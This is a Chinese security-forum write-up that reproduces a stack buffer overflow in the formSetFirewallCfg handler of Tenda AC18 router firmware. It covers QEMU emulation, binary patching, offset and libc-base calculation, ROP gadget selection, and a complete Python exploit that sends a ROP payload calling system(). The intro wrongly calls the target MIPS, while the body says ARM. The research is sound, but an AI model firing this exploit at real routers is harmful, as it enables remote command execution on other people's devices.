问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
AC18-ARM架构下的栈溢出从挖掘到利用
漏洞分析
本文主要讲解mips架构下的栈溢出漏洞复现以及利用,本文涉及到固件模拟、patch、动态调试等手法
qemu用户级固件模拟 =========== 首先在github下载工具[https://github.com/zhibx/firmwalker\_pro](https://github.com/zhibx/firmwalker_pro) 使用工具查看固件web相关信息 ```php ./firmwalker.sh ../US_AC18V1.0BR_V15.03.05.05_multi_TD01.bin > log.log ```  使用binwalk对固件进行解压 ```php binwalk -Me US_AC18V1.0BR_V15.03.05.05_multi_TD01.bin ``` 查看固件架构可以知道,是LSB ARM小端 ```php file busybox ```  ```php cp $(which qemu-arm-static) ./qemu cp -rf ./webroot_ro/* ./webroot/ sudo chroot ./ ./qemu ./bin/httpd ```  使用ida打开httpd    需要对CMP R3, #0 进行修改,修改成CMP R3, #1 修改B loc\_2E2FC ,不让他进行循环    修改后  保存后,重新启动,成功  漏洞点位 ==== 漏洞发生在formSetFirewallCfg函数 sub\_16FE4("SetFirewallCfg", formSetFirewallCfg);  里面传入firewallEn参数,只要大于3就进行strcpy操作,这里存在溢出  偏移量计算 ===== ```php #第一个端 sudo chroot ./ ./qemu -g 1234 ./bin/httpd #第二个端 gdb-multiarch set arch arm tar rem :1234 c #第三个端 python3 1.py ``` ```php import requests from pwn import * url = "http://192.168.50.18/goform/SetFirewallCfg" cookie = {"Cookie":"password=1234111115"} data = {"firewallEn": cyclic(100)} response = requests.post(url, cookies=cookie, data=data) response = requests.post(url, cookies=cookie, data=data) print(response.text) ```  执行cyclic -l 0x6161616e 发现溢出为52字节  libc基址计算 ======== ```php sudo chroot ./ ./qemu -g 1234 ./bin/httpd gdb-multiarch target remote :1234 file ./bin/httpd b puts continue ```  使用ida打开libc.so.0文件,查看puts函数的IDA偏移量为0x35CD4  所以 libc基址=运行时地址−IDA偏移量=0x3fdd5cd4 - 0x35cd4 = 0x3FDA0000 ```php libc_base = 0x3FDA0000 ``` system 基址计算 ===========  ```php system_base = libc_base + 0x5A270 ``` Gadget解析 ======== **跳转到R3的gadget1\_addr** ```php ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3 0x00018298 : pop {r3, pc} ```  **找到一个可以控制R0的gadget2\_addr** ```php ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp" 0x00040cb8 : mov r0, sp ; blx r3 ```  ```php payload = b'A' * 溢出偏移 # 填充至返回地址前 + p32(gadget1_addr) # pop {r3, pc} + p32(system_addr) # 存入 r3 + p32(gadget2_addr) # 跳转到 gadget2 + b"/bin/sh\x00" # 字符串参数(通过 r0 传递) ``` ```php from pwn import * import requests cmd = b"echo PWN!" libc_base = 0x3FDA0000 system_addr = libc_base + 0x5A270 gadget1_addr = libc_base + 0x18298 gadget2_addr = libc_base + 0x40cb8 payload = b'a'*52 payload+= p32(gadget1_addr) + p32(system_addr) + p32(gadget2_addr) + cmd url = "http://192.168.50.18/goform/SetFirewallCfg" cookie = {"Cookie":"password=asdasddsada"} data = {"firewallEn": payload} response = requests.post(url, cookies=cookie, data=data) response = requests.post(url, cookies=cookie, data=data) print(response.text) ```  动态调试 ==== 动态调试验证一下 ```php #第一个端 sudo chroot ./ ./qemu -g 1234 ./bin/httpd #第二个端 gdb-multiarch set arch arm file ./bin/httpd tar rem :1234 b *0xAC7FC c #第三个端 python3 poc.py 之后一直ni就行 ``` 实际上一直运行到return地址就行   可以看到,运行至0xad03c (formSetFirewallCfg+3148) ◂— pop {r4, r5, fp, pc} ,这个地址对应ida的return返回地址  运行至下一步,发现成功到gadget1   成功将system保存到r3寄存器  成功运行到gadget2,并控制R0寄存器,调用R3寄存器的system 执行echo指令  
发表于 2025-07-22 09:00:00
阅读 ( 174 )
分类:
二进制
0 推荐
收藏
0 条评论
请先
登录
后评论
vlan911
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!